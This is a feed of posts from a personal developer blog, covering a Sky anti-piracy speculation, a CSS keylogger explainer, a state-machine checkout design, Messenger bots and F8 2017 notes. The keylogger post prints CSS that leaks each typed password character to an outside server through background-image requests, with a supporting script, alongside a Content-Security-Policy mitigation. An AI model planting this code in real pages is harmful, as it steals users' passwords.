<h2 id="sowhatisthis">So what is this?</h2>
<p>Why would Sky do that? Speeding up the show by 1.05x is not so significant to the average viewer, but it is significant to the computer. What's the point? Is it saving a couple of extra megabytes on their servers? I don't think so.</p>
<p>I've seen a lot of piracy prevention methods, but this one (if true) is very interesting. Of course the <strong>~1.05x</strong> number I have reached is a very rough approximation, it is probably way more detailed than that (example; <strong>1.056543456543x</strong>). This small amount will not alert the pirate, but will help them identify who is leaking the episodes and track them down.</p>
<p><strong>If every customer has a unique speeding up speed</strong>, they can download the pirated copy online, compare it with the original, and get this speed up factor, tracking down the exact account leaking this episode.</p>
<p>Imagine user John has speed up <strong>1.056543456543x</strong> and user Jake has speed up <strong>1.0556789876567x</strong>, still in the range of <strong>1.05</strong> but different to the machine, this would allow Sky to identify which of them has leaked the episode.</p>
<p>Again, it might be a completely different reason why the episode is sped up, these are just my thoughts, and I think it would be pretty interesting if that was the case.</p>
<p>Thank you for reading.</p>
</div>]]></content:encoded></item><item><title><![CDATA[CSS Keylogger: What?!]]></title><description><![CDATA[<div class="kg-card-markdown"><p>A very dangerous yet simple technique has been discovered by developer <a href="https://github.com/maxchehab/CSS-Keylogging">maxchehab</a> which allows a simple CSS styling script to capture your password. <em>Yikes!</em></p>
<p>The concept is pretty simple, consider the following code:</p>
<p>HTML:</p>
<pre><code class="language-html">&lt;input type=&quot;password&quot; id=&quot;password&quot;&gt;
</code></pre>
<p>CSS:</p>
<pre><code class="language-css">input[type=&quot;password&</code></pre></div>]]></description><link>https://ashehata.me/2018/02/25/css-keylogger-what/</link><guid isPermaLink="false">5ae90c5bd9dc790b3601c1e7</guid><category><![CDATA[security]]></category><category><![CDATA[keylogger]]></category><category><![CDATA[css]]></category><category><![CDATA[js]]></category><category><![CDATA[web]]></category><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Sun, 25 Feb 2018 00:54:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1517319821400-28323502a29a?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=fdf84301598f7b9b00627d5deefd6d0d" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://images.unsplash.com/photo-1517319821400-28323502a29a?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ&s=fdf84301598f7b9b00627d5deefd6d0d" alt="CSS Keylogger: What?!"><p>A very dangerous yet simple technique has been discovered by developer <a href="https://github.com/maxchehab/CSS-Keylogging">maxchehab</a> which allows a simple CSS styling script to capture your password. <em>Yikes!</em></p>
<p>The concept is pretty simple, consider the following code:</p>
<p>HTML:</p>
<pre><code class="language-html">&lt;input type=&quot;password&quot; id=&quot;password&quot;&gt;
</code></pre>
<p>CSS:</p>
<pre><code class="language-css">input[type=&quot;password&quot;][value$=&quot;a&quot;] {
  background-image: url(&quot;http://coolcss.com/a&quot;);
}

input[type=&quot;password&quot;][value$=&quot;b&quot;] {
  background-image: url(&quot;http://coolcss.com/b&quot;);
}

input[type=&quot;password&quot;][value$=&quot;c&quot;] {
  background-image: url(&quot;http://coolcss.com/c&quot;);
}
</code></pre>
<p>Javascript:</p>
<pre><code class="language-javascript">
const passwordField = document.querySelector(&quot;#password&quot;);
passwordField.addEventListener(&quot;keyup&quot;, (e) =&gt; {
  passwordField.setAttribute('value', passwordField.key)
});

</code></pre>
<p>Imagine my password (for simplicity sake) was &quot;abc&quot;. If I was using a controlled component like <a href="https://reactjs.org/">React</a>, every value change for the input would trigger an event. Our Javascript code would capture this key event, change the CSS background-image value to our <em>malicious</em> server that intercepts these requests, sometimes even rendering a blank image just to defer any suspicions. The malicious server would record every request it has received, thus having your password logged in plain sight.</p>
<h2 id="shouldipanicanddeleteallexternalstylinglibrariesimusing">Should I panic and delete all external styling libraries I'm using?</h2>
<p>Well not so fast, most well-known libraries are either open-source and heavily supported by the community, you would probably hear it in the news before your user base is compromised, or are heavily backed up by trusted companies.</p>
<p>Either way, if you really want to make sure your application is protected from external scripts:</p>
<pre><code class="language-html">Content-Security-Policy: script-src 'self'; img-src 'none'
</code></pre>
<p>Adding this to your headers would prevent scripts from loading their <strong>own</strong> dependent scripts once their loaded. Unless you explicitly state otherwise. More reading on <a href="https://www.html5rocks.com/en/tutorials/security/content-security-policy/">Content Security Policy</a>.</p>
</div>]]></content:encoded></item><item><title><![CDATA[The state of the Finite State Machine.]]></title><description><![CDATA[<div class="kg-card-markdown"><p>There is a lot to learn about a &quot;Finite State Machine&quot;.</p>
<h1 id="alittleintrowhatisafsm">A little intro, what is a FSM?</h1>
<p>A Finite state machine is an abstract model of computation, which can be in only one finite state at a specific moment. Finite State Machines are used to model problems</p></div>]]></description><link>https://ashehata.me/2018/02/01/the-state-of-the-state-machine/</link><guid isPermaLink="false">5ae8e982d9dc790b3601c1e5</guid><category><![CDATA[js]]></category><category><![CDATA[web]]></category><category><![CDATA[react]]></category><category><![CDATA[redux]]></category><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Thu, 01 Feb 2018 22:31:00 GMT</pubDate><media:content url="https://ashehata.me/content/images/2018/05/gears_cogs_machine_machinery_mechanical_printing_press_gears_and_cogs_technology-818429.jpg" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2018/05/gears_cogs_machine_machinery_mechanical_printing_press_gears_and_cogs_technology-818429.jpg" alt="The state of the Finite State Machine."><p>There is a lot to learn about a &quot;Finite State Machine&quot;.</p>
<h1 id="alittleintrowhatisafsm">A little intro, what is a FSM?</h1>
<p>A Finite state machine is an abstract model of computation, which can be in only one finite state at a specific moment. Finite State Machines are used to model problems in different domains such as AI, Games, application flows, etc..</p>
<p><em>In simpler words: It describes how a program should behave, by specifying pre-specified states and routes between them.</em></p>
<h1 id="arealworldexample">A Real World Example</h1>
<p>Let's imagine a safe lock:</p>
<p><img src="https://images.unsplash.com/photo-1509822929063-6b6cfc9b42f2?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=d352a964412f3ca2eb94d834c0054ad6" alt="The state of the Finite State Machine."><br>
<small>Photo by <a href="https://unsplash.com/@mr_williams_photography?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Micah Williams</a> / <a href="https://unsplash.com/?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Unsplash</a></small></p>
<p>Simply, this lock has 2 states, <strong>locked</strong> and <strong>open</strong>. Depending on the transitions between these states, these are the routes/transitions.</p>
<p><img src="https://theburningmonk.com/wp-content/uploads/2012/07/image19.png" alt="The state of the Finite State Machine."></p>
<p>Let's say every action is a transition, so every button you click on the lock, it will still be in the same state <strong>Button pressed</strong>.</p>
<p>Only after entering the correct combination, the lock will move to the <strong>open</strong> state. Afterwards, there is a security timeout, that returns to the locked state after a certain time <strong>Timeout expired</strong>.</p>
<p>Let's imagine a <em>very simple</em> manual way to code this lock in Javascript.</p>
<pre><code class="language-javascript">const OPEN_STATE = &quot;open&quot;;
const LOCKED_STATE = &quot;locked&quot;;
const lockTimeout = 3000;

class StateMachine {

  constructor(code){
    this.state = LOCKED_STATE;
    this.code = code;
    this.entry = &quot;&quot;;
  }
  
  
  enterDigit(digit) {
    this.entry += digit;
  }
  
  unlockDevice() {
    if(this.entry === this.code) {
      this.state = OPEN_STATE;
      setTimeout(this.lockDevice,lockTimeout);
    }
  }
  
  lockDevice() {
        this.state = LOCKED_STATE;
        this.entry = &quot;&quot;; 
  }
  
}

const fsm = new StateMachine(&quot;123&quot;);
console.log(fsm.state);

fsm.enterDigit(&quot;1&quot;);
fsm.unlockDevice();
console.log(fsm.state); // prints &quot;locked&quot;

fsm.enterDigit(&quot;2&quot;);
fsm.unlockDevice();
console.log(fsm.state); // still &quot;locked&quot;

fsm.enterDigit(&quot;3&quot;);
fsm.unlockDevice();
console.log(fsm.state); // &quot;unlocked&quot;
</code></pre>
<p>Every time <code>unlockDevice()</code> is called, it checks the current entry if it matches the code, this is called the <em><strong>transition condition</strong></em>. If true, it allows the state to transition to the next (or previous state).</p>
<p>Here are some examples of FSM libraries in Javascript that you might find useful:</p>
<ul>
<li><a href="https://github.com/jakesgordon/javascript-state-machine">https://github.com/jakesgordon/javascript-state-machine</a></li>
<li><a href="https://github.com/ianmcgregor/state-machine-js">https://github.com/ianmcgregor/state-machine-js</a></li>
</ul>
<h1 id="ourusecase">Our use case</h1>
<p>At <a href="https://jobs.zalando.com/tech/blog">Zalando</a>, we are responsible for building the Guest Checkout Flow to allow non-Zalando customers to be able to purchase without an account. We first started with the basic flow, didn't have much in mind on what's to come.</p>
<p>The basic flow was:</p>
<blockquote>
<p>Product Page -&gt; Personal Info -&gt; Address Info -&gt; Payment -&gt; Confirmation -&gt; Receipt</p>
</blockquote>
<p>Every page in this design was responsible for the transition to the next page, example:</p>
<pre><code class="language-javascript">// product-detail.js

// ...
const buyButtonClicked() =&gt; {
    goToPersonalPage();
}
// ...

</code></pre>
<pre><code class="language-javascript">// personal.js

// ...
const confirmButtonClicked(personalInfo) =&gt; {
    if (personalInfoComplete(personalInfo)) {
        goToAddressPage();
    }
}
// ...

</code></pre>
<p>But there's one small flaw with this basic, simple design. It's not <strong>extendable</strong>, not even <strong>testable</strong>.</p>
<p>Our product team wanted to introduce some new functionality to the flow, namely &quot;Login Functionality&quot;, which would completely break the whole design.</p>
<p>The logged in user would have different scenarios, some users have address information filled in, some don't, some have payment, others do not.</p>
<p>If we were to follow the same basic design we started with, we would have <em>tons</em> of <strong>if-else</strong> statements flying around everywhere, an example of these new flows would be:</p>
<blockquote>
<p><em>Logged in users, without personal info or Address info:</em><br>
Product Page -&gt; <strong>Login</strong> -&gt; 	<u>Personal Info</u> -&gt; Address Info -&gt; Payment -&gt; Confirmation -&gt; Receipt</p>
</blockquote>
<blockquote>
<p><em>Logged in users, without payment info:</em><br>
Product Page -&gt; <strong>Login</strong> -&gt; <u><em>Payment</em></u> -&gt; Confirmation -&gt; Receipt</p>
</blockquote>
<blockquote>
<p><em>Logged in users, without address info, <strong>BUT HAVE PAYMENT</strong>:</em><br>
Product Page -&gt; <strong>Login</strong> -&gt; <u>Address</u> -&gt; Confirmation -&gt; Receipt</p>
</blockquote>
<blockquote>
<p><em>Logged in users, without payment info:</em><br>
Product Page -&gt; <strong>Login</strong> -&gt; <u>Address Info</u> -&gt; Payment -&gt; Confirmation -&gt; Receipt</p>
</blockquote>
<p>And what about Guest Users now? Too much if-else.</p>
<h2 id="enterthestatemachine">Enter The State Machine:</h2>
<p>This design screams for a state-machine like design, we laid down the states we want, defined some rules between them, and let the state machine do it's magic.</p>
<p><img src="https://ashehata.me/content/images/2018/05/Screenshot_2018-05-02-01.58.44.jpg" alt="The state of the Finite State Machine."></p>
<p>This is a simplified example of how the FSM would work, if you notice, almost all pages return back to the FSM for consultancy on <em>where to go next?</em>. The FSM has validation rules that allows it to decide what to do next, it uses the <a href="https://redux.js.org/">Redux</a> Store to decide.<br>
We called this function, <code>goNext()</code>. We defined all the possible rules and transitions we have in the system, a fallback would be to just render the product page if the state is not compatible with any of the transitions.</p>
<p>The state machine takes the state, follows through the rules and keeps <em>&quot;going next&quot;</em> until it finally reaches the proper state.</p>
<p>An earlier example of a user with personal + address but with no payment would be:</p>
<blockquote>
<p>Personal state: User? Has personal? Yes? Go next.<br>
Address State: Has address? Yes? Go next.<br>
Payment: Has payment? No? stay here.</p>
</blockquote>
<h2 id="achallengetothatdesign">A challenge to that design</h2>
<p>A good challenge to this design was the implementation of <em><strong>going back</strong></em>. The state machine was design to always move forward, right? What happens if the user decides to go back to the previous page? Luckily the Redux State System manages this, however it was not implemented in our initial design with  <code>goNext()</code>. The answer is simple. We implemented  <code>goPrev()</code>, which would have the same concept of going forward, just the other way around. Same rules apply, different direction. It worked quite well, after ironing out some nasty bugs.</p>
<h2 id="prosofthisfsmdesign">Pros of this FSM Design</h2>
<ul>
<li>Easily maintainable, transitions and states are clearly defined</li>
<li>Testable, unit tests can easily be written with pre-defined states for multiple scenarios</li>
<li>Easily extendable, allowing for new states to be just plugged in along with their rules</li>
</ul>
<h2 id="consofthisfsmdesign">Cons of this FSM Design</h2>
<p>If some scenarios are not well defined, the FSM just redirects the user to the product page when they were almost in the payment page, for example if some underlying backend service (ex: a payment provider)  returns an unexpected response, the Redux state would get corrupted and the FSM wouldn't know what to do, redirecting the user to the product page, leaving the user confused on <em><strong>&quot;what the hell happened to my credit card now?&quot;</strong></em></p>
<p>We try to cover as much scenarios as possible, also providing the user with a proper error page so that they do not get confused.</p>
<p>A next-step improvement would be allowing the FSM to &quot;re-try&quot; if something fails.</p>
<p>And as they say, computers &amp; humans aren't perfect.</p>
</div>]]></content:encoded></item><item><title><![CDATA[Facebook Messenger Bots: A business outlook]]></title><description><![CDATA[<div class="kg-card-markdown"><p>I vividly remember the day when Facebook announced the switch from Facebook Inbox to Facebook Messenger, I laughed, I was <strong>wrong</strong>.</p>
<p>Back then I used MSN Messenger every day, there was no way Facebook would replace MSN Messenger with all of its <a href="http://www.digitalspy.com/tech/feature/a802121/17-things-youll-only-remember-if-you-were-a-full-msn-messenger-addict-from-appearing-offline-to-song-lyric-statuses/">amazing features </a> with this <a href="https://fiazhacker.files.wordpress.com/2010/06/chat1-445.jpg">dull web based chat</a></p></div>]]></description><link>https://ashehata.me/2017/08/09/facebook-messenger-a-business-outlook/</link><guid isPermaLink="false">5ae9847bd9dc790b3601c1ff</guid><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Wed, 09 Aug 2017 09:27:00 GMT</pubDate><media:content url="https://ashehata.me/content/images/2018/05/facebook-messenger-520x245.png" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2018/05/facebook-messenger-520x245.png" alt="Facebook Messenger Bots: A business outlook"><p>I vividly remember the day when Facebook announced the switch from Facebook Inbox to Facebook Messenger, I laughed, I was <strong>wrong</strong>.</p>
<p>Back then I used MSN Messenger every day, there was no way Facebook would replace MSN Messenger with all of its <a href="http://www.digitalspy.com/tech/feature/a802121/17-things-youll-only-remember-if-you-were-a-full-msn-messenger-addict-from-appearing-offline-to-song-lyric-statuses/">amazing features </a> with this <a href="https://fiazhacker.files.wordpress.com/2010/06/chat1-445.jpg">dull web based chat interface</a>. Fast forward to today, MSN is dead, Facebook Messenger is thriving and well.</p>
<h2 id="sowhathappenedhere">So what happened here?</h2>
<p>Facebook was already connecting people on its platform, people were already using Facebook Inbox as a chat platform, it was just not ready for primetime yet. Facebook took this opportunity to develop its messenger product to leverage this connection and keep everyone on the same platform, which made sense.</p>
<h2 id="facebookvoicevideocalls">Facebook Voice &amp; Video Calls</h2>
<p>Facebook introduced <a href="https://techcrunch.com/2015/04/27/facebook-messenger-video-chat/">Free VOIP calls</a>, which I think is one of the core features that messenger has, connecting people even more. If you have everything on the same platform, why would you switch to a different app?</p>
<p><img src="https://ashehata.me/content/images/2018/05/messenger-video-calling.png" alt="Facebook Messenger Bots: A business outlook"></p>
<h2 id="facebookinstantappsgames">Facebook Instant Apps &amp; Games</h2>
<p>In 2015, Facebook released in-messenger HTML5 Apps and games, in an attempt to guide software developers to create apps within Messenger, since Messenger was one of the most used apps on the App Stores, might a well turn it into a platform, right?</p>
<p><img src="https://ashehata.me/content/images/2018/05/facebook-messenger-instant-games2.png" alt="Facebook Messenger Bots: A business outlook"></p>
<h3 id="theproblem">The problem</h3>
<p>The problem with this approach -I believe- was the introduction of the feature, people were confused if this was a real app/game or was it just a web app within Messenger. It didn't do so well as Software Developers as well were confused, HTML5 didn't offer the full features they needed to make a fully fledged app, and they would rather be in control of their app anyway. The platform was fun for quick small easy games, but not for fully fledged apps.</p>
<h2 id="facebookmessengerbots">Facebook Messenger bots</h2>
<p>Facebook released <a href="https://techcrunch.com/2016/04/12/agents-on-messenger/">the Messenger Bot platform</a> in 2016. The concept behind bots is simple yet very powerful,</p>
<blockquote>
<p>People are using messenger every day to interact with their family and friends. They also contact business pages for their business queries.</p>
</blockquote>
<p>The problem was that these business chat pages are not online 24/7 and some of them cannot handle the vast amount of requests they receive. The good news is that most of these operations can be automated, <em>ex: ordering a pizza or a cab</em>.</p>
<p><img src="https://ashehata.me/content/images/2018/05/Screenshot_2018-05-02-12.15.21.jpg" alt="Facebook Messenger Bots: A business outlook"></p>
<h3 id="whatdobusinessesusemessengerfortoday">What do businesses use Messenger for today?</h3>
<ul>
<li>Raise awareness for brands</li>
<li>Acquire new customers</li>
<li>Enable transactions</li>
<li>Customer support</li>
<li>Interact with customers, collect feedback</li>
</ul>
<h3 id="enterthefacebookmessengerbot">Enter: The Facebook Messenger Bot</h3>
<p>The Messenger bot -in theory- would be able to handle all customer queries with 100% accuracy, while being friendly, just like a customer service rep would.</p>
<p>But that's not the case, <em>yet</em>.</p>
<p><img src="https://ashehata.me/content/images/2018/05/Screenshot_2018-05-02-13.11.29.jpg" alt="Facebook Messenger Bots: A business outlook"></p>
<p>Most businesses have jumped into the bot craze too soon, without having a proper robust infrastructure that would handle user requests, leaving the user confused with a pretty useless bot, that just links them to the business website or plainly states that this bot isn't in service any longer.</p>
<p>Some businesses have transformed their website experience into a bot experience:<br>
<img src="https://ashehata.me/content/images/2018/05/chatbots-e1490005584224.png" alt="Facebook Messenger Bots: A business outlook"><br>
Which allows the user to browse products within the Facebook Messenger app (using images and carousels), but that's still not a genuine <em><strong>bot</strong></em> experience.</p>
<p>This doesn't only affect the business perception in the user's mind but also the Bot Platform itself. Users have become confused about what the bot platform reason to exist is. Is it just a new interface for the brand website? Is it an automated bot with pre-computed replies?</p>
<h2 id="theproblem">The problem</h2>
<p>People want a genuine experience that would solve their problem and return their queries in an easy, precise manner with no auto replies.</p>
<p>Imagine the 100% success use case, the bot is extremely smart (human-smart) and can respond to your queries in no time, this would potentially replace Customer-Service. Use cases for this would be:</p>
<p>✅ <a href="https://techcrunch.com/2017/02/03/dominos-now-lets-you-order-from-its-full-menu-via-messenger-no-setup-or-account-required/">Ordering a pizza</a><br>
✅ <a href="https://developer.uber.com/solutions/messages">Ordering a cab (Uber/Lyft)</a><br>
✅ <a href="https://venturebeat.com/2016/06/23/hipmunk-embraces-bots-with-an-a-i-travel-assistant-for-facebook-messenger-and-slack/">Organising a trip</a></p>
<p>And a lot more, but what's still missing is the human factor, and this is prevalent in human-centric requirements, for example:</p>
<p>🔴 <strong>Fashion advice:</strong> While image recognition and AI are in a pretty advanced state. We are still not there yet, the human factor is missing.<br>
🔴 <strong>Real customer service for a complex problem</strong>: Imagine you have a double-booking charged to your card, or you ordered something on Amazon by accident, try explaining that to a bot today.<br>
🔴 <strong>Tech Purchase Advice</strong>: Imagine you're in the market for a new laptop and you need to speak with a 'Tech Guru' that will walk you through the features and match them with your needs.</p>
<p>I believe Facebook is on the right track with the bot platform, however they need to enhance it even more and help confused developers/brands to connect more with users, not just being there for the platform sake, or we will have a really early <strong>bot-fatigue</strong>.</p>
</div>]]></content:encoded></item><item><title><![CDATA[F8: 2017 - Takeaways & Notes]]></title><description><![CDATA[<div class="kg-card-markdown"><p>Like every year now, Facebook has kicked of F8 with a plethora of new exciting announcements and product reveals, this year is no different. I flew over with my team to California to attend the keynote, here are some of my key takeaways and notes from the conference.</p>
<p><img src="https://ashehata.me/content/images/2018/05/f82017.jpg" alt="f82017"></p>
<p>Mark Zuckerberg</p></div>]]></description><link>https://ashehata.me/2017/05/05/f8-2017-takeaways-notes/</link><guid isPermaLink="false">5aea1e49d9dc790b3601c201</guid><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Fri, 05 May 2017 20:25:00 GMT</pubDate><media:content url="https://ashehata.me/content/images/2018/05/C9uAm-cVYAAkRm6.jpg" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2018/05/C9uAm-cVYAAkRm6.jpg" alt="F8: 2017 - Takeaways & Notes"><p>Like every year now, Facebook has kicked of F8 with a plethora of new exciting announcements and product reveals, this year is no different. I flew over with my team to California to attend the keynote, here are some of my key takeaways and notes from the conference.</p>
<p><img src="https://ashehata.me/content/images/2018/05/f82017.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>Mark Zuckerberg kicked it off by talking about the company's 10-year vision and the heavy focus on VR/AR:</p>
<p><img src="https://ashehata.me/content/images/2018/05/10year.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>Mark also dove deep into some cool AR announcements, launching a beta version of the AR Platform, which paves the way for the first AR Platform for mobile.</p>
<p><img src="https://ashehata.me/content/images/2018/05/slam.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>Using this technique called <a href="https://en.wikipedia.org/wiki/Simultaneous_localization_and_mapping">SLAM</a> which maps virtual objects with precise location in the environment, creating a true feeling of augmented reality.</p>
<p><img src="https://ashehata.me/content/images/2018/05/object3d.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>Using Object Recognition along with depth perception, taking a still photo can be turned into a true 3D scene, this can be useful in recreating old moments or childhood photos into a true 3D simulation.</p>
<p><img src="https://ashehata.me/content/images/2018/05/location.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>One of the most interesting features that could be a reality soon is the sweet marriage between AR and Location. Imagine going up to a restaurant, <em><strong>pulling up your phone camera</strong></em> and seeing what your friends think about this place. Imagine leaving a message for our descendants in some foreign country and they can discover it years later <em>(too much sci-fi)</em>. Of course the main bottleneck here would be pulling up your smartphone to do this action, which I will cover in a bit.</p>
<p><img src="https://ashehata.me/content/images/2018/05/noiphone2.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>The Utopian vision of the future is having a truly augmented mixed reality with just simple glasses (that actually look normal) which can map anything into your real world. Be it a TV projection on your wall, a 3D game or even holograms of your friends so you can 3D-chat.</p>
<p>Going back to today's world, Mark states that we already have most of this technology in our smartphones' camera, so it makes perfect sense to start the AR platform there first.</p>
<p>Mark believes that <a href="https://www.businessinsider.de/facebook-f8-mark-zuckerberg-augmented-reality-2026-2017-4?utm_content=buffered853&amp;utm_medium=social&amp;utm_source=facebook.com&amp;utm_campaign=buffer-ti&amp;r=US&amp;IR=T">the smartphone is eventually going to die</a>, and that smartglasses will be the one replacing it, everything would be in mixed reality right in front of you. And the great thing about this is that the technology that Facebook is working on today, is building up and going to be the same one used in the smart glasses in the future, so it is definitely on the right track. <em><strong>This is actually what impressed me the most about the keynote</strong></em>, I believe that this vision (even though maybe far) is very probable, even though it might even be a different form factor, but I believe that the smartphone will be replaced sooner or later.</p>
<p><img src="https://ashehata.me/content/images/2018/05/arglasses.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>Just imagine your Facebook AR Glasses (with the help of facial recognition) can show you more information about a friend you've met before or tell you their name. Sounds creepy? It's the future.</p>
<p>However to reach this stage, there are a lot of scientifcal advancements that need to be met in order for this to happen, and here is why I think Facebook will be the first to do so:</p>
<ul>
<li>Optics &amp; Displays: Oculus</li>
<li>Interaction: Oculus</li>
<li>Computer Vision: Facebook</li>
<li>AI: Facebook AI Labs</li>
<li>System Design</li>
<li>UX: Facebook</li>
</ul>
<p><em>The day will come, and it will completely change what we think about technology we do today.</em></p>
<h2 id="virtualrealityisalsoinmind">Virtual Reality is also in mind</h2>
<p><img src="https://ashehata.me/content/images/2018/05/fbspaces.jpg" alt="F8: 2017 - Takeaways & Notes"><br>
Utilizing Oculus since its acquisition in 2014 was a good choice, Facebook is trying to pave the way for a full VR Facebook world in the future. It is still in its very young stages, but it's showing great progress year over year.</p>
<h2 id="futureaigoalsinmind">Future AI Goals in mind</h2>
<p><img src="https://ashehata.me/content/images/2018/05/fbvision.jpg" alt="F8: 2017 - Takeaways & Notes"></p>
<p>AI Research at Facebook (and in the industry in general) is rapidly growing smarter and smarter everyday, one of the most important use cases right now is Prediction and Autonomous driving (like what <a href="https://en.wikipedia.org/wiki/Tesla,_Inc.">Tesla</a> is doing right now). I believe this is the most important field right now, making computers understand us is the next step in the technological revolution.</p>
<h2 id="free360camerawoo">Free 360 Camera, WOO!</h2>
<p><img src="https://ashehata.me/content/images/2018/05/360.JPG" alt="F8: 2017 - Takeaways & Notes"><br>
Facebook has also recently integrated 360 Videos in their platform, and as a result, they generously gifted everyone in the F8 Conference a <a href="https://www.wired.com/2017/04/giroptic-io-360-camera-review/">free 360 Giroptic IO 360 camera</a>!</p>
<h2 id="3d360isthenew360">3D 360' is the new 360</h2>
<p><img src="https://ashehata.me/content/images/2018/05/3d360.jpg" alt="F8: 2017 - Takeaways & Notes"><br>
One of the more interesting subjects is how Facebook is investing in capturing 3-Dimensional 360 images, they have talked about their Surround360 24-array camera that aims to capture the full scene in 3D, which can utilize Oculus for example to move around the scene. They also demoed that -with the help of AI algorithms- it can also be done with a smartphone camera.</p>
<p><img src="https://ashehata.me/content/images/2018/05/360gif.gif" alt="F8: 2017 - Takeaways & Notes"><br>
Imagine having to take a photo with your phone, and going back to <em><strong>re-live</strong></em> this moment in all of its 3D-glory. Now that's what I call <a href="https://developer.apple.com/live-photos/">a Live Photo</a>, Apple.</p>
<h2 id="skintalks">Skin talks!</h2>
<p><img src="https://ashehata.me/content/images/2018/05/skintalk.jpg" alt="F8: 2017 - Takeaways & Notes"><br>
One of the interesting demos they also showed was the ability to use actuators on the body of a person to translate a sentence to the person without speech or vision, just using skin!</p>
<p>They placed these actuators which vibrate to a certain sequence which signal to her brain a specific object/verb she has learned. They have managed to reach 3 word sentences in just under one hour with ease. This is a very interesting advancement in the field of alternative senses.</p>
<p>In the following weeks I will post some more notes on individual talks which interested me the most. Thank you for reading.</p>
</div>]]></content:encoded></item><item><title><![CDATA[Human Speech: The bottleneck of Modern Human Evolution]]></title><description><![CDATA[<div class="kg-card-markdown"><p>I know, I know before you say anything, social life is the core of everything. <strong>But that's not what I'm here for.</strong></p>
<p>Think about it for a second, you know for a fact that your mind is much faster than your speech, ie: <em>you think of a sentence in less</em></p></div>]]></description><link>https://ashehata.me/2016/11/17/human-speech-the-bottleneck-to-modern-human-evolution/</link><guid isPermaLink="false">5ae91e0cd9dc790b3601c1f9</guid><category><![CDATA[human]]></category><category><![CDATA[social]]></category><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Thu, 17 Nov 2016 02:09:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1507890512529-4b15a5a02988?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=6a4be7cf0c96b7d8659524112f67de1c" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://images.unsplash.com/photo-1507890512529-4b15a5a02988?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ&s=6a4be7cf0c96b7d8659524112f67de1c" alt="Human Speech: The bottleneck of Modern Human Evolution"><p>I know, I know before you say anything, social life is the core of everything. <strong>But that's not what I'm here for.</strong></p>
<p>Think about it for a second, you know for a fact that your mind is much faster than your speech, ie: <em>you think of a sentence in less than a second, you spend more than 2x of that actually saying it.</em></p>
<p>Let's take a typical Human English conversation (between Alice and Bob):</p>
<blockquote>
<p>Alice: Hey Bob, good morning, how are you today? <strong>3 sec</strong><br>
Bob: Hey Alice! I'm fine thank you, how about yourself? <strong>4.5 sec</strong><br>
Alice: I'm great! Have you seen the weather today? It's terrible. <strong>5 sec</strong><br>
Bob: Yeah, this Winter is really getting on my nerves. How was your weekend? <strong>5.5 sec</strong><br>
Alice: It was boring, we stayed at home since little John was sick. What about yours? <strong>6.5 sec</strong><br>
Bob: Oh what a pity. We went to the movies to see the new Spiderman movie. <strong>5.5 sec</strong><br>
Alice: Oh I heard it's great, I want to see it next week with the kids. <strong>4.5 sec</strong><br>
Bob: You definitely should. Alright I will see you soon, Alice! <strong>4 sec</strong><br>
Alice: See you soon, Bob! <strong>2 sec</strong><br>
<strong>Total: 40.5 sec</strong>, accounting for breathing space, would be ~43 seconds</p>
</blockquote>
<p>I used Google Translate Speech to calculate the timings, and this is just for the <strong>English</strong> language and depending on how fast a person talks. But keep in mind that differences in language speech speed <a href="http://content.time.com/time/health/article/0,8599,2091477,00.html">doesn't necessarily mean that some languages are faster than others.</a></p>
<p><img src="https://images.unsplash.com/photo-1487089427585-85563b1049f3?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=4b1d6a8280e27dbec5de49a95809dae0" alt="Human Speech: The bottleneck of Modern Human Evolution"><br>
<small>Photo by <a href="https://unsplash.com/@arthur_miranda?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Arthur Miranda</a> / <a href="https://unsplash.com/?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Unsplash</a></small></p>
<h2 id="sowhatsthedealhere">So what's the deal here?</h2>
<p>I believe this example of ~45 seconds of just a small trivial conversation is what makes us slower, also bear in mind some language barriers and lost-in-translation kind of conversations.</p>
<p>Imagine for a second that your speech is as fast as your brain, that you can digitally send ideas to the other person, regardless of what language they spoke. <a href="https://wordcounter.net/blog/2016/04/04/10948_how-many-words-10-minute-speech.html">How many hours</a> would you save per day?</p>
